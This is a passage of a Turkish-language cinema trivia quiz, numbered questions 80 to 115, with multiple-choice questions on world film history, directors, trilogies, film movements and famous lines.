80. Kimi genç yönetmenlerin, film çekerken usta isimlerin fazlasıyla etkisi altında kalarak özgün olamamaları, kendilerine has tarz yaratamamaları minvalli bir seminer düzenlenmiştir. Seminere konuşmacı olarak çağrılan bir sinema tarihçisi, yönetmenlerin -genç yaşlı fark etmeksizin- birbirlerinden etkilenmelerinin pekâlâ doğal karşılanması gerektiğini savunmuştur. Konuşmasının sonunda da, savına destek mahiyetinde geçmişten ünlü örnekler sıralamıştır.

Aşağıdakilerden hangisi, bahsi edilen konuşmacının sıraladığı örneklerden biri olamaz?

a-) Lars von Trier … Carl Theodor Dreyer
b-) Woody Allen … Ingmar Bergman
c-) Rainer Werner Fassbinder … Douglas Sirk
d-) Krzysztof Zanussi … Max Ophüls
e-) Brian De Palma … Alfred Hitchcock

81. Üçleme parçaları ile ilgili olarak aşağıda bazı bilgiler verilmiştir. Doğru olmayan hangisidir?

a-) ‘Hanussen‘, baş kahramanının trajik bir şekilde intihar ettiği parçadır. (Orta Avrupa Üçlemesi – Szabo)
b-) ‘Aparajito‘, büyüyen Apu’nun yolunun Kalküta’ya düştüğü parçadır. (Apu Üçlemesi – Ray)
c-) ‘Napló szerelmeimnek‘, kızımızın yolunun Sovyetler Birliği’nden geçeceği parçadır. (Günce Üçlemesi – Meszaros)
d-) ‘Popiól i diament‘, savaşın hemen sonrasına vizör tutan parçadır. (Savaş Üçlemesi – Wajda)
e-) ‘Khane-ye doust kodjast?‘, İran’ın yılankavi sokaklarında koşturan bir çocuğu anlatırken, ardından gelen ‘Zendegi va digar hich‘de ise otomobil yolculuğu baskındır. (Koker/Deprem Üçlemesi – Kiarostami)

82.Açıkçası sevgilim, umrumda bile değil!” hangi klasik filmin ünlü repliğidir?

a-) Gone with the Wind {Rüzgar Gibi Geçti – 1939} / Victor Fleming
b-) It Happened One Night {Bir Gecede Oldu – 1934} / Frank Capra
c-) Rebel Without a Cause {Asi Gençlik – 1955} / Nicholas Ray
d-) From Here to Eternity {İnsanlar Yaşadıkça – 1953} / Fred Zinnemann
e-) The Shop Around the Corner {Köşedeki Dükkan – 1940} / Ernst Lubitsch

83.
- Çatılardan kiremit atanlar,
- Savaş yıllarında yangınları söndürenler,
- Kurtlu konserve yiyenler,
- Bir otobüs ve rehineler,

İfadesini bulmayan seçenek aşağıdakilerden hangisidir?

a-) Zhantai (Platform – 2000) / Zhang Ke Jia
b-) Battleship Potemkin (1925) / Sergei M. Eisenstein
c-) Eureka (2000) / Shinji Aoyama
d-) Fires Were Started (1943) / Humphrey Jennings
e-) Zero de conduite (Hal ve Gidiş Sıfır – 1933) / Jean Vigo

84. Rus Sineması’nın yaşayan büyük ustalarından Aleksandr Sokurov’un “tek planda çektiği” gövde gösterisi aşağıdakilerden hangisidir?

a-) Mat i syn {Ana ve Oğul – 1997}
b-) Otets i syn {Baba ve Oğul – 2003}
c-) Dni zatmeniya (1988)
d-) Molokh (1999)
e-) Russkiy kovcheg {Rus Hazine Sandığı – 2002}

85. Bir üstteki gövde gösterisinin küçük bir ölçeği, mekanı da hesaba kattığımızda, aşağıdaki filmlerden hangisinde gerçekleşmişti?

a-) Body Double (1980) / Brian De Palma
b-) Dressed to Kill (1980) / Brian De Palma
c-) Andrey Rublyov (1966) / Andrey Tarkovskiy
d-) Ivan Groznyy {Korkunç İvan – 1944} / Sergei M. Eisenstein
e-) Stalker (1979) / Andrey Tarkovskiy

86.
- Sanırım iki yönetmenden bahsedecektiniz Suzan Hanım. Buyrun.
- Evet, teşekkürler. …… ve ……, çok sevdiğim iki rejisör. 1970′lerde, filmografilerinde bir değişiklik olduğunu sezinliyorum.
……., ‘Lancelot du Lac‘ ile tarihi filmlere de el atmış. Ama asıl üzerinde durmak istediğim iki film; ‘Hayalcinin 4 Gecesi‘ ve ‘Olasılıkla Şeytan‘. Modern metropollerin bunalımlı, adeta kaybettikleri benliklerini arayan gençliğinden kesitler çizilmiş. İntiharı tek çıkış yolu olarak betimlemiş neredeyse Katolik yönetmen. Neydi gencin televizyonda izledikleri öyle! O direniş filmindeki mahkumun azmini ve mücadelesini göremedim pek. (Konuklardan bu sava yoğun itirazlar gelir. İzbe odalar, hareketli caddeler ve toplu taşıma araçları üçgeninde mekik dokuyan, nihayet bir polisin şüphesini çeken genç örneği verilir. Ardından Jan D’arc örneği hatırlatılır.)
…… ya gelirsek. O beni daha da şaşırttı. Kendisinden kostümlü, tarihsel dramalar beklemiyordum. ‘Perceval‘ ve ‘Die Marquise von O‘ gerçekten enteresan çalışmalar. (Bu örneğe bir itiraz gelmez.)

Suzan Hanım’ın sözünü ettiği yönetmenler aşağıdakilerden hangisidir?

a-) Eric Rohmer – Jacques Rivette
b-) François Truffaut – Agnes Varda
c-) Alain Resnais – Robert Bresson
d-) Agnes Varda – Alain Resnais
e-) Eric Rohmer – Robert Bresson

87.Breaker Morant‘ (1980), 19. yüzyıldaki Boer Savaşları’nı yansıtan bir filmdi. Pek bahsedilen bir savaş değildir.

Hangi savaş filmi, bizi beyazperdede sıkça işlenmiş bir savaşın neredeyse hiç işlenmemiş bir cephesine götürmüştür?

a-) Talvisota {Kış Savaşı – 1989} / Pekka Parikka
b-) La vie et rien d’autre {Aslolan Hayattır – 1989} / Bertrand Taverier
c-) Soldaat van oranje {Özgürlük Uğruna – 1977} / Paul Verhoeven
d-) Sudba cheloveka {İnsanın Kaderi – 1959} / Sergei Bondarchuk
e-) The Shop on Main Street {Ana Caddedeki Dükkan – 1965} / Jan Kadar

88. “Böyle kepazelik olmaz! …… ana başlığı altında yapılan ve yazılan eserlere bakılacak olunursa besbelli …… konusunu işleyen seçkide nasıl olur da Costa-Gavras’ın ‘Clair de femme’ {Kadın Işığı – 1979} isimli filmi yer almaz. Fernando E. Solanas’ın ‘Tangos, el exilio de Gardel’i bir nebze affedilebilir ama Clair de femme asla! Bir şey, ya hakkı verilerek yapılmalı ya da hiç yapılmamalıdır. Uluslararası sinema çevrelerinin gördükleri an bizi tefe koyabileceği söz konusu seçkinin iptalini önemle rica ederim.
Arz olunur.” (Mesut Süha Okay)

Okay’ın serzenişindeki boş bırakılan yerlere aşağıdakilerden hangisi getirilmelidir?

a-) Ülkemden Çok Uzakta – Sürgün
b-) Çatırdayan Yuvalar – Suçluluk
c-) Modern Çağın Vebaları – Depresyon
d-) Sanatsal Filmler – Müzik ve Dans
e-) Postmodernizm – Parçalı Anlatım

89. Mesut Bey, iflah olmaz bir Costa-Gavras aşığı. Üstte yaptığı itiraza bakılırsa aynı zamanda bir perfeksiyonist… Çok da takıntılı. Öyle ki, oturduğu sokağın adının ‘Cahiers du cinema’ şeklinde değiştirilmesi için vakti zamanında belediyeye başvurmuşluğu vardır.
Seçkiyi hazırlayanlar, ona ve görüşlerine çok itibar ederler. Bir defaya mahsus olmak üzere ‘Clair de femme’ için joker neviinden ekstra kontenjan açılır. Bu jest, Mesut Bey’i ziyadesiyle memnun etmiştir. İptal istemini geri alırken, espri ile karışık şu konuşmayı yapmayı da ihmal etmez:
“Vallahi listeyi revize etmeseydiniz sizinle sonuna kadar uğraşacaktım. Ken Loach’ın …… filmini hatırlar mısınız? Çocuklarının velayeti için hukuki mücadeleye girişen Maggie’nin erkek versiyonu olmaya aday raddede uğraşacaktım. Bu arada arkadaşlar, o filmde de … durumları yok muydu yahu!” (salonda haydaaa uğultuları.)

Mesut Bey’in atıfta bulunduğu Loach filmi aşağıdakilerden hangisidir?

a-) Ladybird Ladybird
b-) Hidden Agenda
c-) Raining Stones
d-) Family Life
e-) Poor Cow

90. “Ehl-i keyfe keyif verir, kahvenin kaynaması,
Eşeği yoldan çıkarır, sıpanın oynaması.”

Aşağıdakilerden hangisi, kahvenin kaynamasının yarattığı etkiyi uyandıracak bir neşe taşımaz?

a-) Horí má panenko {İtfaiyecilerin Balosu – 1967} / Milos Forman
b-) Le diner de cons {Salaklar Sofrası – 1998} / Francis Veber
c-) Intimni osvetleni (1965) / Ivan Passer
d-) Le rayon vert {Yeşil Işık – 1986} / Eric Rohmer
e-) The Palm Beach Story {Palmiye Kumsalı Hikâyesi – 1942} / Preston Sturges

91. Fransız çift, onun filmlerine hayrandı. Onun özellikle Hitchcockyen gerilimlerine ve polisiyelerine hayranlardı. Bu hayranlık öyle boyutlara gelmişti ki, bir erkek çocukları olduğunda ismini Paul, kız çocukları olduğunda ismini Helene koymuşlardı.

Bu hayranlığa mazhar yönetmen kim olabilir?

a-) Claude Chabrol
b-) Bertrand Tavernier
c-) Alain Corneau
d-) Henri Verneuil
e-) Henri-Georges Clouzot

92. Daha önce Harold Lloyd’lu ‘Safety Last!‘ (1923) filmini yeniden çeken yönetmenin, yeterince ağzı yanmıştır. Epey kaza yaşanmıştır çatılarda. Seçilecek dublörün bu kez çok iyi olmasını istemektedir. Şöyle der: “Akrobat ve çok hızlı koşan bir dublör olmalı. Arkasından onlarca dev kaya yuvarlayacağız. Hem bu kayalara hem de onu kovalayan kadın ordusuna yakalanmayacak kadar hızlı ve kıvrak olmalı.”

Rejisör hangi filmi yeniden çekme aşamasındadır?

a-) The Kid Brother (1927)
b-) Sherlock Jr. (1924)
c-) Duck Soup (1933)
d-) Seven Chances (1925)
e-) The Cameraman (1928)

93. Jean-Luc Godard, takvimler 1990′ı gösterdiğinde ‘Nouvelle vague‘ ile geliyordu. Sanattan felsefeye, iş dünyasından kadın-erkek ilişkilerine ve Ortadoğu’ya (Beyrut, İslamiyet…) uzanan geniş bir yelpazede, o bildik Godard entelektüelizmi…

Filmle ilgili olarak aşağıda verilen açıklamalardan hangisi yanlıştır?

a-) Filmde, tabiat adeta bir tuval gibi kullanılmıştır.
b-) Filmde, babasını (Alain Delon) görmek üzere Amerika’dan gelmiş bir kız bulunur.
c-) Filmde, bir alt/üst sınıflar düalizmi yakalamak olasıdır.
d-) Dış ses, çok yoğun bir şekilde kullanılmıştır.
e-) Merdiven önündeki bir sahnede, ‘The Hound of the Baskervilles’ ve ‘Bir Endülüs Köpeği’ filmlerine göndermeler yapılır.

94.
I-) Bodas de Sangre {Kanlı Düğün – 1981} / Carlos Saura
II-) The Tenant {Kiracı – 1976} / Roman Polanski
III-) Rope {İp – 1948} / Alfred Hitchcock
IV-) Kjærlighetens kjøtere {Zero Kelvin – 1995} / Hans Petter Moland
V-) Öszi almanach (1985) / Bela Tarr
VI-) Kızgın Taşlara Düşen Su Damlaları (2000) / François Ozon
VII-) Bienvenido Mister Marshall (1953) / Luis García Berlanga
VIII-) Key Largo (1948) / John Huston
IX-) Talk Radio {Sırdaş Radyo – 1987} / Oliver Stone
X-) Who’s Afraid of Virginia Woolf (1966) / Mike Nichols
XI-) Dial M for Murder (1954) / Alfred Hitchcock
XII-) Sleuth (1972) / Joseph L. Mankiewicz

Yukarıdakilerden hangisi ya da hangileri, tıpkı ’12 Angry Men’ gibi “büyükçe bölümü tek mekanda geçen” ya da tıpkı ‘Repulsion’ gibi “klostrofobik bir kasvet aşılayan” filmlerden değildir?

a-) Sadece VII b-) Sadece VIII c-) Sadece I  d-) I ve XI e-) V ve VIII

95. ‘Morvern Callar’ (2002 – Lynne Ramsay), iki kadının soğuk otel odalarından ıssız kasabalara dek uzanan çarpıcı “yolculuğunu” işleyen, psikolojik bir filmdi.

Yaşları küçültelim… Yetişkinlerin dünyasında özgürlüğe yelken açan iki küçük kız, Meksika yapımı hangi gerilim klasiğini akıllara getirmektedir?

a-) Macario (1960) / Roberto Gavaldón
b-) La lengua de las mariposas (Kelebeklerin Dili – 1999) / José Luis Cuerda
c-) Veneno para las hadas (1984) / Carlos Enrique Taboada
d-) Celia (1989) / Ann Turner
e-) O pagador de promessas (1962) / Anselmo Duarte

96. “Derek Jarman’ın ‘Caravaggio‘ (1986) isimli biyografisini izledim Cemal. Becker’in ‘Montparnasse 19′, Pialat’ın ‘Van Gogh’ ve Rivette’nin ‘La belle noiseuse’ filmleri kadar olmasa da beğendim diyebilirim. Bu arada dediğin kadar varmış. Bu filmin rengi gerçekten de ….. En az Yimou Zhang’ın 91 yapımı ‘Da hong deng long gao gao gua‘sı kadar hem de.”

Şahıs, hangi renkten bahsetmektedir?

a-) Siyah b-) Mavi c-) Kırmızı d-) Sarı e-) Beyaz

97. Romy Schneider ve Michel Piccoli’li ‘La choses de la vie’ {Hayat Bağları – 1970}, “Kaza geliyorum demez” der. Ve ekler: “Son pişmanlık fayda etmez.” Gerçekçi bir kaza ve yürek burkan bir final barındıran bu Claude Sautet filmi, yönetmenin 70′lerdeki hakim teması olan orta yaş hesaplaşmaları çevresinde döner.

Aşağıda, deyimler/atasözleri ile filmler eşleştirilmiştir. Uyumsuz seçenek hangisidir?

a-) Allah yürü ya kulum demiş. {1979 – Being There}
b-) Borç yiğidin kamçısıdır. {1938 – La femme du boulanger}
c-) Gönül gözüyle görmek. {1999 – Rang-e khoda}
d-) İktidar, ateşten gömlek! {1952 – Viva Zapata!}
e-) Tilkinin dönüp dolaşıp geleceği yer kürkçü dükkanıdır. {1927 – The Jazz Singer}

98. Lars von Trier, Thomas Vintenberg, Susanne Bier ve Dardenne Kardeşler başlıca yönetmenleri; ‘Breaking the Waves’ {Dalgaları Aşmak – 1996}, ‘Rosetta‘ (1999), ‘Le fils‘ {Oğul – 2002} ve ‘Festen‘ {Şölen – 1998} belli başlı filmleri arasındadır.

1994 çıkışlı “Dogma” akımıyla ilgili olarak aşağıdakilerden hangisi söylenemez?

a-) Omuz kamerası kullanılır.
b-) Düşük bütçelidir.
c-) Filtre ve ışık kullanımı geliştirilmiştir.
d-) Titrek çekimlere rastlanır.
e-) Jenerikte birtakım değişikliklere gidilmiştir.

99.
- Butch Cassidy and the Sundance Kid {Sonsuz Ölüm – 1969} / George Roy Hill
- Notorious {Aşktan da Üstün – 1946} / Alfred Hitchcock
- Nippon konchuki {Böcek Kadın – 1963} / Shôhei Imamura
- Vesnicko ma strediskova {Benim Küçük Tatlı Köyüm – 1985} / Jiri Menzel
- Missing {Kayıp – 1982} / Costa-Gavras
- Pather Panchali {Yol Türküsü – 1955} / Satyajit Ray

En favori 6 filmi bu şekilde olan bir sinema sever görülüyor. Aşağıdaki yargılardan hangisi doğru olmayacaktır?

a-) Aşktan da Üstün‘ü seçtiğine göre; belli ki ajanlı, entrikalı gerilimleri seviyor. Ona, ‘The 39 Steps’ (39 Basamak – 1935) filmini de önermek lazım.
b-) Kayıp‘ı seçtiğine göre; belli ki politik hikayeleri ve toplumsal duyarlılığa seslenen işleri seviyor. Ona, ‘Czlowiek z zelaza’ (Demir Adam – 1981) filmini de önermek lazım.
c-) Böcek Kadın‘ı seçtiğine göre; belli ki femme fatale kadınların yaptığı harislikleri, şeytanlıkları izlemeyi seviyor. Ona, Rita Hayworth’un devleştiği ‘Gilda’ (1946) filmini de önermek lazım.
d-) Sonsuz Ölüm‘ü seçtiğine göre; belli ki soygunlu ya da çatışmalı macera filmlerini seviyor. Ona,’Dog Day Afternoon’ (Köpeklerin Günü – 1975), ‘Heat’ (1995), ‘Bonnie and Clyde’ (1967) gibi filmler önermek lazım.
e-) Belli ki köylerde, tabiatın kucağında geçen filmleri de seviyor. Birden fazla yazmış. Eğer savaştan ve sert sahnelerden rahatsız olmayacaksa, ona ‘Idi i smotri’ (Gel ve Gör – 1985) ve ‘Andrey Rublyov’ (1966) filmlerini de önermek lazım.

100.

Yukarıdaki karede, unutulmaz bir filmin unutulmaz kadın karakterini görüyorsunuz. Adı, Liza… O, bir toplama kampının oldukça saplantılı resmedilmiş SS muhafızıdır.
Kareden hemen hatırlanabilecek bu film aşağıdakilerden hangisidir?

a-) Eroica (1958) / Andrzej Munk
b-) Valahol Európában (1948) / Géza von Radványi
c-) Zezowate szczescie (Kötü Şans – 1960) / Andrzej Munk
d-) Pasazerka (Yolcu – 1963) / Andrzej Munk
e-) Rekopis znaleziony w Saragossie (Zaragoza Elyazmaları – 1965) / Wojciech Has

101.‘Sabine Kleist, sieben Jahre’ {Sabine Kleist, Yaş Yedi – 1982} / Helmut Dziuba

Alman yapımı bu filmde, 7 yaşındaki sarışın kız çocuğu Sabine Kleist ile birlikte Berlin’in caddelerini, muhtelif noktalarını (sirk, bir süpermarket, müzik festivali, hastane, kilise…) gezmiştik.
Hurdaya dönen bir araba, ölen ebeveyn ve ağlayan küçük Sabine… Bir kazayı görüntüleyen kolajlar ile başlayan filmde, 7 yaşında öksüz ve yetim kalan talihsiz kızımızın buruk birkaç günü işlenmişti. Yetimhaneye yerleştirilen Sabine, çok yakın olduğu öğretmeni Edith’e tutkuyla bağlanıyor. Onu, ölümünü hiç kabullenemediği annesinin yerine koyuyor. Edith, yetimhaneye elveda diyerek emekli olmak istediğinde, üzülüyor ve hırçınlaşıyor. Nihayet yetimhaneden “firar” ediyor.
Sabine Kleist, sieben Jahre; küçük kızın firardan sonra başkentte yaşadığı birkaç günü anlatan, minör bir yolculuk filmi. Polis, anonslar ile tüm şehirde bu küçük kızı aramaktadır. Sabine, rahat ve atılgan bir kız. İnsanlarla kolay iletişim kuruyor. Şehirde amaçsızca dolanan bu kız, çeşitli mekanlara girip çıkıyor. Bir tanesi annesini arayan Polonyalı çocuk olmak üzre, hem yaşıtlarıyla hem de kendisinden çok daha büyük yetişkinlerle tanışıyor. Ancak kızımız, “göçebe” bir ruh barındırıyor. Zira ne bir mekanda fazla kalabiliyor; ne de tanıştığı kişilere uzun süre bağlanabiliyor.
Sabine’nin ne aradığı ve ne istediğiyse, final sahnesinde anlaşılıyor.

Üstte, bir filme dair yapılmış yorum görülmektedir. Söz konusu yorumla ilgili aşağıdakilerden hangisi söylenemez?

a-) Yazar, çok fazla spoiler vermiştir.
b-) Olay örgüsü üzerinde durulmuştur.
c-) Kurgunun üzerinde durulmuştur.
d-) Oyunculuklara dair bir şey söylenmemiştir.
e-) Alt okumalar yapılmamıştır.

102. İnsanlık’ın yönetmeni Bruno Dumont’un ‘La vie de Jesus‘ {İsa’nın Yaşamı – 1997} isimli filmi, aklımıza çabucak gelen örneklerinden biri… Daha eskilere gittiğimizdeyse, Fassbinder’in 1974 yapımı ‘Korku Ruhu Kemirir‘i {Angst essen Seele auf} örnek olarak gösterilebilir.
Ancak hiçbiri, Mathieu Kassovitz’in kamerayı Paris’in gettolarına doğrulttuğu ‘La haine‘ {Protesto – 1995} kadar vurucu değildir belki de.

Avrupa coğrafyasındaki göçmenler, yabancı düşmanlığı ve kaçak işçiler” sorununun, bizi aşağıdaki yönetmenlerden hangisine götürmesi beklenemez?

a-) Claire Denis
b-) Dardenne Kardeşler
c-) Patrice Chéreau
d-) Michael Haneke
e-) Michael Winterbottom

103. Sınava katılan kızı mağdur olmuş öfkeli bir babanın gönderdiği dilekçede, kurum topa tutulur. Daha 2010′daki KPSS rezaleti soğumadan gelen YGS ve ALES skandalları malum.
Babanın yazdığı mektubu buraya ekleyemiyoruz ancak konu ile ilintili olarak -onbinlerce öğrenci adına- sinema perspektifli bir ultimatom gönderiyoruz:
- Sayın (!) ÖSYM yetkilileri. Bu gençleri, kült rejisör Kôji Wakamatsu’nun ……. sındaki akranları gibi şirazesinden çıkartacaksınız, haberiniz olsun!

Boş bırakılan yere, aşağıdaki hangi “rahatsız” film getirilmelidir?

a-) Vengeance is Mine (İntikam Benim – 1979)
b-) Gishiki {Seremoni – 1971}
c-) Kurutta kajitsu {Crazed Fruit – 1956}
d-) Eros Plus Massacre (1969)
e-) Go, Go Time Second Virgin (1969)

104. Özdeşleşilmesi zor; kitlelerin kahramanı olamayacak kadar kötü ya da silik/kaybeden; bir kalemde üstü çizilemeyecek kadar da karizmatik karakterlerdir.

Aşağıda verilen “anti-kahramanların” hangisi, 1970′lerde hayatımıza girmiştir?

a-) ‘Walker’ – Lee Marvin
b-) ‘Philip Marlowe’ – Elliott Gould
c-) ‘Luke’ – Paul Newman
d-) ‘Alain Leroy’ – Maurice Ronet
e-) ‘Howard Roark’ – Gary Cooper

105. Sessiz dönemlerin kaba güldürülerini (bürlesk), 1950/60′lar Fransa’sına uyarlayan yönetmendir. Ancak bürleskin 20′lerdeki mantıkdışılığına pek iltifat etmez. Onun “gag”ları, şiirsel ve daha bir gerçekçi tonlara bürünmüştür. Yer yer filmlerini bir modernizm eleştirisine çevirir: Harikulade ‘Playtime‘ ve ‘Mon oncle‘ gibi… Yarattığı sempatik beyefendi ‘Mr. Hulot‘ tiplemesi ise sinema tarihine adını altın harflerle yazdırmıştır.

Kimdir bu sessiz dönemler aşığı yönetmen?

a-) Jean Cocteau
b-) Jacques Tati
c-) Marcel Pagnol
d-) Jean Delannoy
e-) Roger Vadim

106. Akım-film eşleştirmeleri verilmiştir. Yanlış olan hangisidir?

a-) Cinema Verite — Warrendale
b-) Cinema Novo — Deus e o Diabo na Terra do Sol {Siyah Tanrı, Beyaz Şeytan}
c-) Dışavurumculuk — Der golem
d-) Yeni Gerçekçilik — Riso amaro {Acı Pirinç}
e-) Dışavurumculuk — Orphée

107. “…Ne kadar hırsız, yankesici, dolandırıcı, katil, ırz düşmanı, zehir satıcısı, kumarbaz varsa alalım aramıza. Ne kadar hakim, avukat, muharrir, profesör, tüccar, işçi, mühendis, doktor varsa alalım. Acınanları ve acıyanları alalım. Buyrun diyelim. Acımayı ve merhameti, cemiyete başlı başına şifa kabul edenler… Birleşin! Ve insanlığa yeni bir kurtuluş yolu ortaya koyalım: Katili tezgâhtar, hırsızı kasadar, dolandırıcıyı tahsildar yapalım. Bakalım saklı parayı çarpan yankesici, açık şey eline teslim edildiğinde ne yapar? Korunanı vuran katil, bakalım bağrını açanlara ne yapar? Şüphe usülünün beslediği kötülük, itimat sistemi önünde büsbütün mü şahlanır yoksa dize mi gelir, görelim!” (1988 – Reis Bey)

- I. Kısım -
Hırsız: “Corey” {Le cercle rouge – 1970}
Yankesici: “Michel” {Pickpocket – 1959}
Dolandırıcı: “Gus Jordan” {She Done Him Wrong – 1933}
Katil: “Vincent” {Collateral – 2004}
Irz Düşmanı: “Gaston Monescu” {Trouble in Paradise – 1932}
Zehir Satıcısı: “Bob” {Drugstore Cowboy – 1989}
Kumarbaz: “Bill Denny” {California Split – 1974}

- II. Kısım -
Hakim: “Joseph Kern” {Trois couleurs: Rouge – 1994}
Avukat: “Jacob” {Karakter – 1997}
Muharrir: “Barton Fink” {Barton Fink  – 1991}
Profesör: “Immanuel Rath” {Der blaue Engel – 1930}
Tüccar: “Antonio” {The Merchant of Venice – 2004}
İşçi: “Pontus” {Sult – 1966}
Mühendis: “Kati Klee” {Spur der Steine – 1966}
Doktor: “Tomas Jacobi” {Ansikte mot ansikte – 1976}

Meslek erbabı – film eşleştirmesi yanlış olanlar hangileridir?

a-) I. Kısım’da Irz Düşmanı — II. Kısım’da İşçi
b-) I. Kısım’da Hırsız — II. Kısım’da Mühendis
c-) I. Kısım’da Kumarbaz — II. Kısım’da Avukat
d-) I. Kısım’da Yankesici — II. Kısım’da Doktor
e-) I. Kısım’da Katil — II. Kısım’da Muharrir

108. Coen Biraderler’in 1996 tarihli ‘Fargo’sunu unutmaya imkan var mı!

Bir şarkı sözünde de geçen “Her yerde kar var”, aşağıdaki filmlerin hangisi için kullanılamaz?

a-) Voskhozhdeniye {Tırmanış – 1977} / Larisa Shepitko
b-) Dai-bosatsu tôge {The Sword of Doom – 1966} / Kihachi Okamoto
c-) Ma nuit chez Maud {Maud’daki Gecem – 1969} / Eric Rohmer
d-) Der Fangschuß {Coup de grace – 1976} / Volker Schlöndorff
e-) Le genou de Claire {Claire’nin Dizi – 1970} / Eric Rohmer

109. Fransa-Cezayir çatışması, 60′lar ve 70′ler sinemasında epey yankı bulmuştur. Ama doğrudan, ama teğet geçilerek: Gillo Pontecervo’nun başyapıtı ‘La battaglia di Algeri‘ (Cezayir Savaşı – 1966); Mohammed Lakhdar-Hamina’dan ‘Chronicle of the Years of Fire‘ (1975); Jacques Rozier’den -gençlik ve kadın ağırlıklı- ‘Adieu Philippine’ (1962) ve Alain Cavalier’den ‘Le combat dans l’île‘ (1962) gibi…

Söz konusu damar, Jean-Luc Godard – Alain Resnais filmografilerinde hangi yapımlarla ifadesini bulmuştur?

a-) Le petit soldat (Küçük Asker, 1963) — Muriel ou Le temps d’un retour (1963)
b-) Les carabiniers (Jandarmalar, 1963) — Nuit et brouillard (Gece ve Sis, 1955)
c-) Les carabiniers (Jandarmalar, 1963) — Providence (1977)
d-) Le petit soldat (Küçük Asker, 1963) — Nuit et brouillard (Gece ve Sis, 1955)
e-) Paris nous appartient (Paris Bizimdir, 1960) — Muriel ou Le temps d’un retour (1963)

110. Georg Wilhelm Pabst’ın ‘Kameradschaft‘ı (1931) ne anlamlı bir filmdi. Fransa’daki maden işçileri dara düştüklerinde, yardımlarına koşan Almanya’daki maden işçileri oluyordu. Savaşlar, “başımızdaki” kerameti kendinden menkuller arasında çıkıyor; ama cepheye gönderilen ve bir hiç uğruna ölen hep halk çocukları oluyor… Benzer sularda dolanan ‘Westfront 1918′i de analım yeri gelmişken. Ölen askerlerin mezarlarından çıktığı son kısımlar unutulur mu!
‘L’ours’un {Ayı, 1988} yönetmeni Jean-Jacques Annaud’un debut filmi ‘Noirs et blancs et en couleurs‘ (1976) ise Kameradschaft’ı ters yüz ediyor resmen. Senaryosunda, Fransa ve Almanya’yı karşı karşıya getiriyor.
Hoş. Bazen öğretmenlerin bile hamasi nutuklarla savaş çığırtkanlığı yaptığını, öğrencileri zehirlemeye çalıştığını biliyoruz. ……. filmini unutmak ne mümkün!

Boş bırakılan yere hangi film gelmelidir?

a-) Obyknovennyy fashizm {Sıradan Faşizm – 1965} / Mikhail Romm
b-) Lawrence of Arabia {Arabistanlı Lawrence – 1962} / David Lean
c-) For Whom the Bell Tolls {Çanlar Kimin İçin Çalıyor – 1943} / Sam Wood
d-) Night Train to Münich {Münih’e Gece Treni – 1942} / Carol Reed
e-) All Quiet on the Western Front {Batı Cephesinde Yeni Bir Şey Yok – 1930} / Levis Milestone

111. Aşağıdakilerden hangisi, salt şiddet sahneleri ve tedirgin edicilik açısından değerlendirildiğinde, ilkokul çağındaki bir çocuk için daha az rahatsız edicidir?

a-) My Life as a Dog (1985) / Lasse Hallström
b-) Do the Right Thing (Doğruyu Seç – 1989) / Spike Lee
c-) Badlands (1973) / Terrence Malick
d-) The Invisible Man (1933) / James Whale
e-) Trzecia czesc nocy (The Third Part of Night – 1971) / Andrzej Zulawski

112.
I-) The Sheltering Sky (1990) / Bernardo Bertolucci
II-) Bab’Aziz (2005) / Nacer Khemir
III-) Une histoire de vent (1988) / Joris Ivens
IV-) Greed (1924) / Erich von Stroheim
V-) The English Patient (1996) / Anthony Minghella
VI-) Walkabout (1971) / Nicolas Roeg
VII-) Animals Are Beautiful People (1974) / Jamie Uys
VIII-) Out of Rosenheim (Bağdat Cafe – 1987) / Percy Adlon
IX-) Il deserto dei Tartari (1976) / Valerio Zurlini

… ile anımsanacak filmlerdir.

Boş bırakılan yere aşağıdakilerden hangisi getirilmelidir?

a-) Afrika b-) Çöl c-) Yolculuk d-) Hayvan e-) Oryantalizm

113.
Sevgileri yarınlara bıraktınız
Çekingen, tutuk, saygılı.
Bütün yakınlarınız
Sizi yanlış tanıdı.

Bitmeyen işler yüzünden
(Siz böyle olsun istemezdiniz)
Bir bakış bile yeterken anlatmaya her şeyi
Kalbinizi dolduran duygular
Kalbinizde kaldı.

Siz geniş zamanlar umuyordunuz
Çirkindi dar vakitlerde bir sevgiyi söylemek.
Yılların telâşlarda bu kadar çabuk
Geçeceği aklınıza gelmezdi. (Sevgilerde – Behçet Necatigil)

Aşağıdaki hangi unutulmaz film; üstteki gibi “çekingen, tutuk, saygılı”, kolay kolay açılamayan utangaç bir erkek ve tüm umutlarını eski bir hayalete bağlamış kırılgan bir kadın barındırmaktadır? (Film, iki yalnız ruhun ve saf aşkın perdedeki en güzel örneklerinden biridir.)

a-) The Prowler {Mücrim Gönüller – 1951} / Joseph Losey
b-) Le notti bianche {Beyaz Geceler – 1959} / Luchino Visconti
c-) Midnight {Geceyarısı Kontesi – 1939} / Mitchell Leisen
d-) Love Story {Aşk Hikayesi – 1970} / Arthur Hiller
e-) Les enfants du paradis {Cennetin Çocukları – 1945} / Marcel Carne

114. “Çinlilere ve Japonlara bir şey demiyorum. Tamam, söylediğinde haklısın; adamların çok köklü bir sinema geçmişleri var. Ama bu Koreliler yeni peydah oldular be kardeşim! Sinemaları taş çatlasa 90′ların başına uzanır. Daha geriye gitmez.” (Cumali)

Kore Sineması’nı Chan-wook Park ve Kim Ki-duk’dan ibaret sandığı anlaşılan Cumali, hangi gerilim klasiğinden bihaber olduğu için fena halde yanılmaktadır?

a-) Sorok pervyy (1956)
b-) Onibaba (1964)
c-) Twenty-four Eyes (1954)
d-) Hanyo (1960)
e-) Jigokumon (Cehennem Kapısı – 1953)

115.
A) ._._._._._._._._._._._._._._._._._._._._._._._._._.

B) ____________._____________

C) _._.._._.._.______.__._._.__.____.___

D) _.__.__.__.__.__.__.__.__._________.

E) _.____.__________.____.__._

Üstteki grafikte görülen her nokta, “yönetmen”in tek bir filmini temsil etmektedir.
Buna dayanarak… Aşağıda verilen bilgilerden hangisi kesinlikle yanlıştır?

NOT: Grafik, kabaca oluşturulmuştur ama esası verir. Ve “kısa metrajlı filmler” değerlendirmeye alınmamıştır.

a-) A grafiği, Yasujiro Ozu’yu göstermektedir.
b-) B grafiği, Charles Laughton’dur.
c-) C grafiği, Victor Erice’den başkası değildir.
d-) D grafiği, Stanley Kubrick’i işaret etmektedir.
e-) E grafiği, Terrence Malick’in ta kendisidir.

